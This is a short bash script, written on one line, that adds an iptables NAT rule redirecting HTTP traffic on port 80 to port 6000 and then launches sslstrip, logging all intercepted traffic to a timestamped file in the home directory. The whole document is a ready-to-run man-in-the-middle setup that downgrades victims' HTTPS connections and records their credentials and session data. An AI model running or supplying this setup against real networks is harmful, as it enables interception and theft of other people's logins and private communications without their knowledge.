#!/bin/bash iptables -t nat -L | grep 'REDIRECT tcp -- anywhere anywhere tcp dpt:http redir ports 6000' if [ $? -ne 0 ]; then iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 6000 fi d=`date +%G%m%d_%H%M%S` sslstrip -w $HOME/sslstrip_$d.log -a -l 6000